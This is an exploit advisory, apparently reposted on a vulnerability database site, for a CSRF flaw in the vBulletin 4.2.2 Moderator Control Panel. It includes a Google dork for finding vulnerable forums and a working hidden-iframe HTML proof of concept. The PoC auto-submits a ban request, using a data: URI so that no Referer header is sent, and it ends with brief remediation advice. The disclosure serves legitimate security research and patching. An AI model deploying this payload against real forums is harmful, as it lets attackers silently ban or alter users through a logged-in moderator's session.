`# Exploit Title: vBulletin Moderator Control Panel CSRF
# Google Dork: "Powered by vBulletin® Version 4.2.2"
# Date: 16-12-2014
# Exploit Author: Tomescu Daniel http://daniel-tomescu.com https://rstforums.com/forum
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/
# Software Link: Premium
# Version: vBulletin 4.2.2
# Tested on: Chrome and Firefox
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst
### 1. Description
vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.
vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.
This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.
### 2. Proof of Concept
The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:
<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"
src='data:text/html,
<html>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">
<input type="hidden" name="do" value="dobanuser" >
<input type="hidden" name="adminhash" value="" >
<input type="hidden" name="securitytoken" value="" >
<input type="hidden" name="username" value="UserToBeBanned" >
<input type="hidden" name="usergroupid" value="8" >
<input type="hidden" name="period" value="D_7" >
<input type="hidden" name="reason" value="Banned with CSRF" >
<input type="submit" value="submit">
</form>
<script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>
</body>
</html>'>
</iframe>
As a result, the user with the username "UserToBeBanned" will be added to the banned users list.
### 3. Solution:
Do not allow POST requests without a Referer header.
Verify "adminhash" and "securitytoken" to be valid.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation